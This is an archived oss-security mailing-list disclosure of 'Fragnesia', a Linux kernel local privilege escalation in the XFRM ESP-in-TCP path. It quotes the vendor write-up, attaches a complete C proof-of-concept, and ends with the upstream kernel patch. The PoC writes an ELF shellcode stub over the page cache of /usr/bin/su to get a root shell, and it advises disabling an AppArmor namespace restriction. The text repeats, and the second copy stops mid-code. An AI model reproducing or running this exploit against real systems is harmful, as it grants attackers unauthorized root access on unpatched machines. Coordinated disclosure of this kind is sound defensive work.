Skip to content

8733zvfucm.fsf%40gentoo.org

lwn.net • May 14, 2026

From : Sam James To : oss-security-AT-lists.openwall.com Subject : [oss-security] Linux kernel LPE ("fragnesia", copyfail 3.0) Date : Wed, 13 May 2026 11:59:37 +0100 Message-ID : v12-security have disclosed "Fragnesia" [0]. Quoting their disclosure: > Fragnesia is a universal Linux local privilege escalation exploit, > discovered by William Bowling with the V12 team. Fragnesia is a member > of the Dirty Frag vulnerability class. This is a separate bug in the > ESP/XFRM from dirtyfrag which has received its own patch. However, it > is in the same surface and the mitigation is the same as for dirtyfrag. > > It abuses a logic bug in the Linux XFRM ESP-in-TCP subsystem to > achieve arbitrary byte writes into the kernel page cache of read-only > files, without requiring any race condition. > The technique extends the page-cache write bug class that includes > Dirty Pipe: when a TCP socket transitions to espintcp ULP mode after > data has already been spliced from a file into the receive queue, the > kernel processes the queued file pages as ESP ciphertext. The AES-GCM > keystream byte at counter block position 2, byte 0 is XORed directly > into the cached file page. By selecting the IV nonce to produce a > desired keystream byte, any target byte in the file can be set to any > value — one byte per trigger invocation. > > The exploit builds a 256-entry lookup table mapping each possible > keystream byte to its corresponding nonce, then iterates over a > payload, firing the splice/ULP race for each byte that needs changing. > It writes a small position-independent ELF stub > (setresuid/setresgid/execve /bin/sh) over the first 192 bytes of > /usr/bin/su in the page cache, then calls execve("/usr/bin/su") to > obtain a root shell. The page cache modification is not backed to > disk; the on-disk binary is untouched. page cache part being copyfail again [0], but the actual bug is more like dirtyfrag [2]. They've also provided a PoC [3] (attached). There's a patch on netdev [4], not yet in that tree or in Linus's tree, therefore not in any stable kernels either. [0] [1] (CVE-2026-31431) [2] (CVE-2026-43284, CVE-2026-43500) [3] [4] Attachment : fragnesia.c (type=text/plain) // Fragnesia: universal Linux LPE // Ubuntu users: AppArmor interferes with using namespaces, you need to use // `sudo sysctl -w kernel.apparmor_restrict_unprivileged_userns=0`. // // You can chain other bugs to bypass this requirement but this is out of scope for this vulnerability. // // Found with V12 by William Bowling on the V12 team // V12 - - dangerously powerful agentic security // Patch: /* * Slim ESP-in-TCP/TCP-coalesce page-cache replacement PoC. * * It only targets an already prepared disposable regular file under /tmp or * /var/tmp. The file must be readable by the caller and should be non-writable * to demonstrate the permission boundary. * * Build: * gcc -O2 -Wall -Wextra -static xfrm_espintcp_pagecache_replace.c -o xfrm_espintcp_pagecache_replace * * Run: * ./xfrm_espintcp_pagecache_replace /tmp/root-owned-copy 0 42434445 * * Exit codes: * 1: vulnerable behavior verified * 0: fixed/no mutation observed * 2: local setup or argument error * 4: namespace/XFRM gate closed */ #define _GNU_SOURCE #include #include #include #include #if __has_include( ) #include #else #include struct sockaddr_alg { __u16 salg_family; __u8 salg_type[14]; __u32 salg_feat; __u32 salg_mask; __u8 salg_name[64]; }; #endif #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #ifndef TCP_ULP #define TCP_ULP 31 #endif #ifndef NETLINK_XFRM #define NETLINK_XFRM 6 #endif #ifndef TCP_ENCAP_ESPINTCP #define TCP_ENCAP_ESPINTCP 7 #endif #ifndef AF_ALG #define AF_ALG 38 #endif #ifndef SOL_ALG #define SOL_ALG 279 #endif #ifndef ALG_SET_KEY #define ALG_SET_KEY 1 #endif #ifndef ALG_SET_OP #define ALG_SET_OP 3 #endif #ifndef ALG_OP_ENCRYPT #define ALG_OP_ENCRYPT 1 #endif #ifndef NLA_ALIGNTO #define NLA_ALIGNTO 4 #endif #ifndef NLA_ALIGN #define NLA_ALIGN(len) (((len) + NLA_ALIGNTO - 1) & ~(NLA_ALIGNTO - 1)) #endif #ifndef NLA_HDRLEN #define NLA_HDRLEN ((int)NLA_ALIGN(sizeof(struct nlattr))) #endif #define FRAG_LEN 4096 #define ESP_GCM_ICV_LEN 16 #define ESP_GCM_ENCRYPTED_LEN (FRAG_LEN - ESP_GCM_ICV_LEN) #define TCP_PORT 5556 #define PAYLOAD_LEN 192 #define FRAME_PAYLOAD_ROWS 12 /* ceil(PAYLOAD_LEN / 16) */ #define FRAME_BAR_W 50 #define FRAME_LINES 15 /* 1 header + 12 hex + 1 bar + 1 sep */ #define RECEIVER_PRE_ULP_US 30000 #define SENDER_PRE_SPLICE_US 1000 #define RECEIVER_POST_ULP_US 30000 static const unsigned char xfrm_aead_key[20] = { 0x00, 0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88, 0x99, 0xaa, 0xbb, 0xcc, 0xdd, 0xee, 0xff, 0x01, 0x02, 0x03, 0x04 }; static unsigned char active_esp_gcm_iv[8] = { 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc }; static uint32_t active_esp_seq = 1; static const char *target_file; static char target_file_buf[PATH_MAX]; static loff_t target_splice_off; static uint16_t stream0_nonce[256]; static bool stream0_have[256]; static void die(const char *what) { fprintf(stderr, "%s: %s\n", what, strerror(errno)); exit(2); } static void gate_fail(const char *what) { printf("namespace_gate_failed: %s errno=%d (%s)\n", what, errno, strerror(errno)); exit(4); } static void store_be32(unsigned char *p, uint32_t v) { p[0] = (unsigned char)(v >> 24); p[1] = (unsigned char)(v >> 16); p[2] = (unsigned char)(v >> 8); p[3] = (unsigned char)v; } /* ANSI colours */ #define C_RESET "\033[0m" #define C_BOLD "\033[1m" #define C_DIM "\033[2m" #define C_RED "\033[31m" #define C_GREEN "\033[32m" #define C_YELLOW "\033[33m" #define C_CYAN "\033[36m" #define C_WHITE "\033[97m" #define C_BRED "\033[1;31m" #define C_BGRN "\033[1;32m" #define C_BYLW "\033[1;33m" #define C_BCYN "\033[1;36m" #define C_BWHT "\033[1;97m" static void print_hex_bytes(const char *label, const unsigned char *buf, size_t len) { size_t i; printf(C_DIM "%s=" C_RESET C_CYAN, label); for (i = 0; i col) { if (row_start + col == highlight_off) printf(C_BRED "[%02x]" C_RESET, row[col]); else printf(C_DIM "%02x " C_RESET, row[col]); } else { printf(C_DIM " " C_RESET); } } /* ASCII section */ printf(" " C_DIM "|" C_RESET); for (col = 0; col = 0x20 && c = 0x20 && c = 8 ? 1 : 0) + 1; printf("%*s" C_BYLW "^-- +%04llx " C_RED "%s" C_RESET ":" C_BRED "%02x" C_RESET " -> " C_GREEN "%s" C_RESET ":" C_BGRN "%02x" C_RESET "\n", (int)arrow_pos, "", (unsigned long long)(highlight_off & 0xffff), before_label, before_val, after_label, after_val); } static int open_afalg_aes_ecb(void) { struct sockaddr_alg sa = { .salg_family = AF_ALG, }; int fd; fd = socket(AF_ALG, SOCK_SEQPACKET | SOCK_CLOEXEC, 0); if (fd cmsg_level = SOL_ALG; cmsg->cmsg_type = ALG_SET_OP; cmsg->cmsg_len = CMSG_LEN(sizeof(op)); memcpy(CMSG_DATA(cmsg), &op, sizeof(op)); ret = sendmsg(op_fd, &msg, 0); if (ret != 16) die("sendmsg AF_ALG block"); ret = read(op_fd, out, 16); if (ret != 16) die("read AF_ALG block"); close(op_fd); } static unsigned char aes_gcm_stream0_byte(int alg_fd, const unsigned char iv[8]) { unsigned char counter_block[16], stream[16]; memcpy(counter_block, &xfrm_aead_key[16], 4); memcpy(counter_block + 4, iv, 8); store_be32(counter_block + 12, 2); afalg_aes_encrypt_block(alg_fd, counter_block, stream); return stream[0]; } static void build_stream0_table(void) { unsigned char iv[8] = { 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc }; unsigned int count = 0, nonce; int alg_fd; alg_fd = open_afalg_aes_ecb(); for (nonce = 0; nonce = '0' && c = 'a' && c = 'A' && c = 0) { fprintf(stderr, "hex byte string has an odd number of nibbles\n"); exit(2); } if (len == 0) { fprintf(stderr, "hex byte string is empty\n"); exit(2); } *len_out = len; return buf; } static unsigned char read_byte_at(const char *path, uint64_t off) { unsigned char b; ssize_t ret; int fd; fd = open(path, O_RDONLY | O_CLOEXEC); if (fd sizeof(buf)) len = sizeof(buf); fd = open(target_file, O_RDONLY | O_CLOEXEC); if (fd =%d\n", (long long)st.st_size, FRAG_LEN); exit(2); } if (snprintf(target_file_buf, sizeof(target_file_buf), "%s", path) >= (int)sizeof(target_file_buf)) { fprintf(stderr, "target path is too long\n"); exit(2); } target_file = target_file_buf; return (uint64_t)st.st_size; } static void verify_write_denied(const char *label) { int fd; errno = 0; fd = open(target_file, O_WRONLY | O_CLOEXEC); if (fd >= 0) { close(fd); printf("namespace_gate_failed: %s write-open unexpectedly succeeded\n", label); exit(4); } printf("%s_write_open_denied=1 errno=%d (%s)\n", label, errno, strerror(errno)); } static int write_all_file_status(const char *path, const char *buf) { size_t len = strlen(buf); int fd, saved_errno; fd = open(path, O_WRONLY | O_CLOEXEC); if (fd 0) { close(ready_pipe[1]); close(mapped_pipe[0]); sync_read_byte(ready_pipe[0]); snprintf(map, sizeof(map), "0 %u 1\n", outer_uid); parent_map_write_or_exit(child, "uid_map", map); parent_map_write_or_exit(child, "setgroups", "deny\n"); snprintf(map, sizeof(map), "0 %u 1\n", outer_gid); parent_map_write_or_exit(child, "gid_map", map); sync_write_byte(mapped_pipe[1]); if (waitpid(child, &status, 0) nlmsg_len); struct nlattr *nla; if (off + NLA_HDRLEN + len > maxlen) { fprintf(stderr, "netlink message too small\n"); exit(2); } nla = (struct nlattr *)((char *)nlh + off); nla->nla_type = type; nla->nla_len = NLA_HDRLEN + len; memcpy((char *)nla + NLA_HDRLEN, data, len); nlh->nlmsg_len = off + NLA_ALIGN(nla->nla_len); } static int nl_ack_errno(char *buf, ssize_t len) { struct nlmsghdr *nlh; struct nlmsgerr *err; for (nlh = (struct nlmsghdr *)buf; NLMSG_OK(nlh, (unsigned int)len); nlh = NLMSG_NEXT(nlh, len)) { if (nlh->nlmsg_type != NLMSG_ERROR) continue; err = (struct nlmsgerr *)NLMSG_DATA(nlh); if (err->error == 0) return 0; errno = -err->error; return -1; } errno = EPROTO; return -1; } static void add_xfrm_espintcp_state(void) { char reqbuf[4096], resp[4096]; char aeadbuf[sizeof(struct xfrm_algo_aead) + sizeof(xfrm_aead_key)]; struct sockaddr_nl sa = { .nl_family = AF_NETLINK, }; struct xfrm_usersa_info *xs; struct xfrm_algo_aead *aead; struct xfrm_encap_tmpl encap; struct nlmsghdr *nlh; ssize_t ret; int fd; memset(reqbuf, 0, sizeof(reqbuf)); nlh = (struct nlmsghdr *)reqbuf; nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*xs)); nlh->nlmsg_type = XFRM_MSG_NEWSA; nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE | NLM_F_EXCL; nlh->nlmsg_seq = 1; xs = (struct xfrm_usersa_info *)NLMSG_DATA(nlh); if (inet_pton(AF_INET6, "::1", &xs->saddr.in6) != 1) die("inet_pton saddr"); if (inet_pton(AF_INET6, "::1", &xs->id.daddr.in6) != 1) die("inet_pton daddr"); xs->id.spi = htonl(0x100); xs->id.proto = IPPROTO_ESP; xs->family = AF_INET6; xs->mode = XFRM_MODE_TRANSPORT; xs->reqid = 1; xs->lft.soft_byte_limit = XFRM_INF; xs->lft.hard_byte_limit = XFRM_INF; xs->lft.soft_packet_limit = XFRM_INF; xs->lft.hard_packet_limit = XFRM_INF; memset(aeadbuf, 0, sizeof(aeadbuf)); aead = (struct xfrm_algo_aead *)aeadbuf; snprintf(aead->alg_name, sizeof(aead->alg_name), "rfc4106(gcm(aes))"); aead->alg_key_len = sizeof(xfrm_aead_key) * 8; aead->alg_icv_len = 128; memcpy(aead->alg_key, xfrm_aead_key, sizeof(xfrm_aead_key)); add_nlattr(nlh, sizeof(reqbuf), XFRMA_ALG_AEAD, aeadbuf, sizeof(aeadbuf)); memset(&encap, 0, sizeof(encap)); encap.encap_type = TCP_ENCAP_ESPINTCP; encap.encap_sport = htons(TCP_PORT); encap.encap_dport = htons(TCP_PORT); add_nlattr(nlh, sizeof(reqbuf), XFRMA_ENCAP, &encap, sizeof(encap)); fd = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_XFRM); if (fd nlmsg_len, 0, (struct sockaddr *)&sa, sizeof(sa)); if (ret nlmsg_len) { errno = EIO; gate_fail("short sendto XFRM_MSG_NEWSA"); } ret = recv(fd, resp, sizeof(resp), 0); if (ret UINT64_MAX - byte_off) { fprintf(stderr, "byte range overflows uint64_t\n"); exit(2); } return byte_off + n - 1; } static void draw_smash_frame(const unsigned char *desired, size_t desired_len, const unsigned char *live, size_t idx_current, size_t changed, size_t skipped, int first_draw) { size_t done = changed + skipped; size_t filled = desired_len ? done * FRAME_BAR_W / desired_len : FRAME_BAR_W; size_t row, col, bi, i; /* Save cursor, jump to row 1, buffer the whole frame into one write. */ static char frame_buf[8192]; setvbuf(stdout, frame_buf, _IOFBF, sizeof(frame_buf)); if (!first_draw) printf("\033[s\033[?25l\033[1;1H"); /* ── header ─────────────────────────────────────────────────── */ printf("\r\033[2K" C_BCYN "[*]" C_RESET " smashing %zu bytes into read-only page cache" " changed=" C_BGRN "%zu" C_RESET " skipped=" C_DIM "%zu" C_RESET " remaining=" C_BYLW "%zu" C_RESET "\n", desired_len, changed, skipped, done = desired_len) { printf(" "); continue; } if (bi = file_size) { fprintf(stderr, "byte range outside target: offset=%llu len=%zu size=%llu\n", (unsigned long long)byte_off, desired_len, (unsigned long long)file_size); return 2; } if (last > file_size - FRAG_LEN) { fprintf(stderr, "collateral-after mode requires requested range end FRAME_LINES) tr = (int)ws.ws_row; printf("\033[%d;%dr", FRAME_LINES + 1, tr); printf("\033[%d;1H", tr); /* park cursor at bottom of scroll region */ fflush(stdout); } for (idx = 0; idx " C_BGRN "%02x" C_RESET " xor=" C_CYAN "%02x" C_RESET " seq=" C_DIM "%u" C_RESET " nonce=" C_DIM "%u" C_RESET "\n", idx + 1, desired_len, (unsigned long long)off, current, desired[idx], need_stream, active_esp_seq, stream0_nonce[need_stream]); /* printf(C_BCYN "[*]" C_RESET " before:\n"); print_hex_row(target_file, off, "orig", current, "want", desired[idx]); printf(C_BCYN "[*]" C_RESET " iv=" C_CYAN); { size_t k; for (k = 0; k %02x index=%zu offset=+%04llx\n\n" C_RESET, current, final, idx, (unsigned long long)off); changed++; continue; } if (final == current) { printf(C_BGRN "[-]" C_RESET " fixed behavior: byte unchanged at index=%zu offset=%llu\n", idx, (unsigned long long)off); return 0; } printf(C_BRED "[-]" C_RESET " BUG: byte changed but desired-value check mismatched" " index=%zu offset=%llu desired=%02x got=%02x\n", idx, (unsigned long long)off, desired[idx], final); return 1; } /* final frame: all bytes done, cursor past the end */ draw_smash_frame(desired, desired_len, live_state, desired_len, changed, skipped, 0); /* restore full scroll region and drop cursor below the frame */ printf("\033[r\033[%d;1H\n", FRAME_LINES + 1); /* final verify pass */ printf(C_BCYN "[*]" C_RESET " verifying %zu bytes...\n", desired_len); for (idx = 0; idx \n", prog); fprintf(stderr, "example: %s /path/to/target 0 42434445\n", prog); } static const uint8_t shell_elf[PAYLOAD_LEN] = { 0x7f,0x45,0x4c,0x46,0x02,0x01,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x02,0x00,0x3e,0x00,0x01,0x00,0x00,0x00,0x78,0x00,0x40,0x00,0x00,0x00,0x00,0x00, 0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x40,0x00,0x38,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x01,0x00,0x00,0x00,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00, 0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x31,0xff,0x31,0xf6,0x31,0xc0,0xb0,0x6a, 0x0f,0x05,0xb0,0x69,0x0f,0x05,0xb0,0x74,0x0f,0x05,0x6a,0x00,0x48,0x8d,0x05,0x12, 0x00,0x00,0x00,0x50,0x48,0x89,0xe2,0x48,0x8d,0x3d,0x12,0x00,0x00,0x00,0x31,0xf6, 0x6a,0x3b,0x58,0x0f,0x05,0x54,0x45,0x52,0x4d,0x3d,0x78,0x74,0x65,0x72,0x6d,0x00, 0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, }; int main(int argc, char **argv) { unsigned char *desired; uint64_t file_size, byte_off; size_t desired_len, sample_len; int ret; setvbuf(stdout, NULL, _IONBF, 0); printf(C_BCYN "[*]" C_RESET " uid=" C_BWHT "%d" C_RESET " euid=" C_BWHT "%d" C_RESET " gid=" C_BWHT "%d" C_RESET " egid=" C_BWHT "%d" C_RESET "\n", getuid(), geteuid(), getgid(), getegid()); printf(C_BCYN "[*]" C_RESET " mode=xfrm_espintcp_pagecache_replace collateral=after\n"); printf("\n"); // system("cp /bin/cat /tmp/test"); // file_size = use_existing_target("/tmp/test"); file_size = use_existing_target("/usr/bin/su"); byte_off = 0; desired = (unsigned char *)shell_elf; desired_len = PAYLOAD_LEN; printf(C_BCYN "[*]" C_RESET " target=%s size=%llu\n", target_file, (unsigned long long)file_size); verify_write_denied("outer"); setup_user_netns_xfrm(); verify_write_denied("userns_root_mapped_to_outer_user"); ret = replace_existing_bytes_after(byte_off, desired, desired_len, file_size); /* reset scroll region; some terminals the cursor on \033[r so * explicitly jump to the last row so PS1 lands below our output */ write(STDOUT_FILENO, "\033[r\033[9999;1H\033[?25h\n", 19); execve("/usr/bin/su", NULL, NULL); return ret; } Attachment : 0001-net-skbuff-preserve-shared-frag-marker-during-coales.patch (type=text/x-patch) From d260900c5c5cd8f858be0c3cc172df9b6fd11cec Mon Sep 17 00:00:00 2001 From: William Bowling Date: Wed, 13 May 2026 04:16:35 +0000 Subject: [PATCH] net: skbuff: preserve shared-frag marker during coalescing skb_try_coalesce() can attach paged frags from @from to @to. If @from has SKBFL_SHARED_FRAG set, the resulting @to skb can contain the same externally-owned or page-cache-backed frags, but the shared-frag marker is currently lost. That breaks the invariant relied on by later in-place writers. In particular, ESP input checks skb_has_shared_frag() before deciding whether an uncloned nonlinear skb can skip skb_cow_data(). If TCP receive coalescing has moved shared frags into an unmarked skb, ESP can see skb_has_shared_frag() as false and decrypt in place over page-cache backed frags. Propagate SKBFL_SHARED_FRAG when skb_try_coalesce() transfers paged frags. The tailroom copy path does not need the marker because it copies bytes into @to's linear data rather than transferring frag descriptors. Fixes: cef401de7be8 ("net: fix possible wrong checksum generation") Fixes: f4c50a4034e6 ("xfrm: esp: avoid in-place decrypt on shared skb frags") Signed-off-by: William Bowling Reviewed-by: Eric Dumazet --- net/core/skbuff.c | 2 ++ 1 file changed, 2 insertions(+) diff --git a/net/core/skbuff.c b/net/core/skbuff.c index 7dad68e3b518..9c4e8d331d6d 100644 --- a/net/core/skbuff.c +++ b/net/core/skbuff.c @@ -6200,6 +6200,8 @@ bool skb_try_coalesce(struct sk_buff *to, struct sk_buff *from, from_shinfo->frags, from_shinfo->nr_frags * sizeof(skb_frag_t)); to_shinfo->nr_frags += from_shinfo->nr_frags; + if (from_shinfo->nr_frags) + to_shinfo->flags |= from_shinfo->flags & SKBFL_SHARED_FRAG; if (!skb_cloned(from)) from_shinfo->nr_frags = 0; -- 2.54.0 Attachment : None (type=text/plain) thanks, sam Attachment : signature.asc (type=application/pgp-signature) -----BEGIN PGP SIGNATURE----- iQEBBAEWCgCpFiEEJaa7iN2bdkxrVUHCc4QJ9SDfkZAFAmoEWZkbFIAAAAAABAAO bWFudTIsMi41KzEuMTIsMiwyXxSAAAAAAC4AKGlzc3Vlci1mcHJAbm90YXRpb25z Lm9wZW5wZ3AuZmlmdGhob3JzZW1hbi5uZXQyNUE2QkI4OEREOUI3NjRDNkI1NTQx QzI3Mzg0MDlGNTIwREY5MTkwDxxzYW1AZ2VudG9vLm9yZwAKCRBzhAn1IN+RkKym AQC3WuwT5M1E7SM78a1p/SgUXGRq8uccVQn2X73D7r+YiwD/eAPbB8AaMLi4IuMX eEsXiZqSEf+ul2zQm0Bab0PbmQg= =ku/7 -----END PGP SIGNATURE-----

v12-security have disclosed "Fragnesia" [0]. Quoting their disclosure: > Fragnesia is a universal Linux local privilege escalation exploit, > discovered by William Bowling with the V12 team. Fragnesia is a member > of the Dirty Frag vulnerability class. This is a separate bug in the > ESP/XFRM from dirtyfrag which has received its own patch. However, it > is in the same surface and the mitigation is the same as for dirtyfrag. > > It abuses a logic bug in the Linux XFRM ESP-in-TCP subsystem to > achieve arbitrary byte writes into the kernel page cache of read-only > files, without requiring any race condition. > The technique extends the page-cache write bug class that includes > Dirty Pipe: when a TCP socket transitions to espintcp ULP mode after > data has already been spliced from a file into the receive queue, the > kernel processes the queued file pages as ESP ciphertext. The AES-GCM > keystream byte at counter block position 2, byte 0 is XORed directly > into the cached file page. By selecting the IV nonce to produce a > desired keystream byte, any target byte in the file can be set to any > value — one byte per trigger invocation. > > The exploit builds a 256-entry lookup table mapping each possible > keystream byte to its corresponding nonce, then iterates over a > payload, firing the splice/ULP race for each byte that needs changing. > It writes a small position-independent ELF stub > (setresuid/setresgid/execve /bin/sh) over the first 192 bytes of > /usr/bin/su in the page cache, then calls execve("/usr/bin/su") to > obtain a root shell. The page cache modification is not backed to > disk; the on-disk binary is untouched. page cache part being copyfail again [0], but the actual bug is more like dirtyfrag [2]. They've also provided a PoC [3] (attached). There's a patch on netdev [4], not yet in that tree or in Linus's tree, therefore not in any stable kernels either. [0] [1] (CVE-2026-31431) [2] (CVE-2026-43284, CVE-2026-43500) [3] [4] Attachment : fragnesia.c (type=text/plain) // Fragnesia: universal Linux LPE // Ubuntu users: AppArmor interferes with using namespaces, you need to use // `sudo sysctl -w kernel.apparmor_restrict_unprivileged_userns=0`. // // You can chain other bugs to bypass this requirement but this is out of scope for this vulnerability. // // Found with V12 by William Bowling on the V12 team // V12 - - dangerously powerful agentic security // Patch: /* * Slim ESP-in-TCP/TCP-coalesce page-cache replacement PoC. * * It only targets an already prepared disposable regular file under /tmp or * /var/tmp. The file must be readable by the caller and should be non-writable * to demonstrate the permission boundary. * * Build: * gcc -O2 -Wall -Wextra -static xfrm_espintcp_pagecache_replace.c -o xfrm_espintcp_pagecache_replace * * Run: * ./xfrm_espintcp_pagecache_replace /tmp/root-owned-copy 0 42434445 * * Exit codes: * 1: vulnerable behavior verified * 0: fixed/no mutation observed * 2: local setup or argument error * 4: namespace/XFRM gate closed */ #define _GNU_SOURCE #include #include #include #include #if __has_include( ) #include #else #include struct sockaddr_alg { __u16 salg_family; __u8 salg_type[14]; __u32 salg_feat; __u32 salg_mask; __u8 salg_name[64]; }; #endif #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #ifndef TCP_ULP #define TCP_ULP 31 #endif #ifndef NETLINK_XFRM #define NETLINK_XFRM 6 #endif #ifndef TCP_ENCAP_ESPINTCP #define TCP_ENCAP_ESPINTCP 7 #endif #ifndef AF_ALG #define AF_ALG 38 #endif #ifndef SOL_ALG #define SOL_ALG 279 #endif #ifndef ALG_SET_KEY #define ALG_SET_KEY 1 #endif #ifndef ALG_SET_OP #define ALG_SET_OP 3 #endif #ifndef ALG_OP_ENCRYPT #define ALG_OP_ENCRYPT 1 #endif #ifndef NLA_ALIGNTO #define NLA_ALIGNTO 4 #endif #ifndef NLA_ALIGN #define NLA_ALIGN(len) (((len) + NLA_ALIGNTO - 1) & ~(NLA_ALIGNTO - 1)) #endif #ifndef NLA_HDRLEN #define NLA_HDRLEN ((int)NLA_ALIGN(sizeof(struct nlattr))) #endif #define FRAG_LEN 4096 #define ESP_GCM_ICV_LEN 16 #define ESP_GCM_ENCRYPTED_LEN (FRAG_LEN - ESP_GCM_ICV_LEN) #define TCP_PORT 5556 #define PAYLOAD_LEN 192 #define FRAME_PAYLOAD_ROWS 12 /* ceil(PAYLOAD_LEN / 16) */ #define FRAME_BAR_W 50 #define FRAME_LINES 15 /* 1 header + 12 hex + 1 bar + 1 sep */ #define RECEIVER_PRE_ULP_US 30000 #define SENDER_PRE_SPLICE_US 1000 #define RECEIVER_POST_ULP_US 30000 static const unsigned char xfrm_aead_key[20] = { 0x00, 0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88, 0x99, 0xaa, 0xbb, 0xcc, 0xdd, 0xee, 0xff, 0x01, 0x02, 0x03, 0x04 }; static unsigned char active_esp_gcm_iv[8] = { 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc }; static uint32_t active_esp_seq = 1; static const char *target_file; static char target_file_buf[PATH_MAX]; static loff_t target_splice_off; static uint16_t stream0_nonce[256]; static bool stream0_have[256]; static void die(const char *what) { fprintf(stderr, "%s: %s\n", what, strerror(errno)); exit(2); } static void gate_fail(const char *what) { printf("namespace_gate_failed: %s errno=%d (%s)\n", what, errno, strerror(errno)); exit(4); } static void store_be32(unsigned char *p, uint32_t v) { p[0] = (unsigned char)(v >> 24); p[1] = (unsigned char)(v >> 16); p[2] = (unsigned char)(v >> 8); p[3] = (unsigned char)v; } /* ANSI colours */ #define C_RESET "\033[0m" #define C_BOLD "\033[1m" #define C_DIM "\033[2m" #define C_RED "\033[31m" #define C_GREEN "\033[32m" #define C_YELLOW "\033[33m" #define C_CYAN "\033[36m" #define C_WHITE "\033[97m" #define C_BRED "\033[1;31m" #define C_BGRN "\033[1;32m" #define C_BYLW "\033[1;33m" #define C_BCYN "\033[1;36m" #define C_BWHT "\033[1;97m" static void print_hex_bytes(const char *label, const unsigned char *buf, size_t len) { size_t i; printf(C_DIM "%s=" C_RESET C_CYAN, label); for (i = 0; i col) { if (row_start + col == highlight_off) printf(C_BRED "[%02x]" C_RESET, row[col]); else printf(C_DIM "%02x " C_RESET, row[col]); } else { printf(C_DIM " " C_RESET); } } /* ASCII section */ printf(" " C_DIM "|" C_RESET); for (col = 0; col = 0x20 && c = 0x20 && c = 8 ? 1 : 0) + 1; printf("%*s" C_BYLW "^-- +%04llx " C_RED "%s" C_RESET ":" C_BRED "%02x" C_RESET " -> " C_GREEN "%s" C_RESET ":" C_BGRN "%02x" C_RESET "\n", (int)arrow_pos, "", (unsigned long long)(highlight_off & 0xffff), before_label, before_val, after_label, after_val); } static int open_afalg_aes_ecb(void) { struct sockaddr_alg sa = { .salg_family = AF_ALG, }; int fd; fd = socket(AF_ALG, SOCK_SEQPACKET | SOCK_CLOEXEC, 0); if (fd cmsg_level = SOL_ALG; cmsg->cmsg_type = ALG_SET_OP; cmsg->cmsg_len = CMSG_LEN(sizeof(op)); memcpy(CMSG_DATA(cmsg), &op, sizeof(op)); ret = sendmsg(op_fd, &msg, 0); if (ret != 16) die("sendmsg AF_ALG block"); ret = read(op_fd, out, 16); if (ret != 16) die("read AF_ALG block"); close(op_fd); } static unsigned char aes_gcm_stream0_byte(int alg_fd, const unsigned char iv[8]) { unsigned char counter_block[16], stream[16]; memcpy(counter_block, &xfrm_aead_key[16], 4); memcpy(counter_block + 4, iv, 8); store_be32(counter_block + 12, 2); afalg_aes_encrypt_block(alg_fd, counter_block, stream); return stream[0]; } static void build_stream0_table(void) { unsigned char iv[8] = { 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc }; unsigned int count = 0, nonce; int alg_fd; alg_fd = open_afalg_aes_ecb(); for (nonce = 0; nonce = '0' && c = 'a' && c = 'A' && c = 0) { fprintf(stderr, "hex byte string has an odd number of nibbles\n"); exit(2); } if (len == 0) { fprintf(stderr, "hex byte string is empty\n"); exit(2); } *len_out = len; return buf; } static unsigned char read_byte_at(const char *path, uint64_t off) { unsigned char b; ssize_t ret; int fd; fd = open(path, O_RDONLY | O_CLOEXEC); if (fd sizeof(buf)) len = sizeof(buf); fd = open(target_file, O_RDONLY | O_CLOEXEC); if (fd =%d\n", (long long)st.st_size, FRAG_LEN); exit(2); } if (snprintf(target_file_buf, sizeof(target_file_buf), "%s", path) >= (int)sizeof(target_file_buf)) { fprintf(stderr, "target path is too long\n"); exit(2); } target_file = target_file_buf; return (uint64_t)st.st_size; } static void verify_write_denied(const char *label) { int fd; errno = 0; fd = open(target_file, O_WRONLY | O_CLOEXEC); if (fd >= 0) { close(fd); printf("namespace_gate_failed: %s write-open unexpectedly succeeded\n", label); exit(4); } printf("%s_write_open_denied=1 errno=%d (%s)\n", label, errno, strerror(errno)); } static int write_all_file_status(const char *path, const char *buf) { size_t len = strlen(buf); int fd, saved_errno; fd = open(path, O_WRONLY | O_CLOEXEC); if (fd 0) { close(ready_pipe[1]); close(mapped_pipe[0]); sync_read_byte(ready_pipe[0]); snprintf(map, sizeof(map), "0 %u 1\n", outer_uid); parent_map_write_or_exit(child, "uid_map", map); parent_map_write_or_exit(child, "setgroups", "deny\n"); snprintf(map, sizeof(map), "0 %u 1\n", outer_gid); parent_map_write_or_exit(child, "gid_map", map); sync_write_byte(mapped_pipe[1]); if (waitpid(child, &status, 0) nlmsg_len); struct nlattr *nla; if (off + NLA_HDRLEN + len > maxlen) { fprintf(stderr, "netlink message too small\n"); exit(2); } nla = (struct nlattr *)((char *)nlh + off); nla->nla_type = type; nla->nla_len = NLA_HDRLEN + len; memcpy((char *)nla + NLA_HDRLEN, data, len); nlh->nlmsg_len = off + NLA_ALIGN(nla->nla_len); } static int nl_ack_errno(char *buf, ssize_t len) { struct nlmsghdr *nlh; struct nlmsgerr *err; for (nlh = (struct nlmsghdr *)buf; NLMSG_OK(nlh, (unsigned int)len); nlh = NLMSG_NEXT(nlh, len)) { if 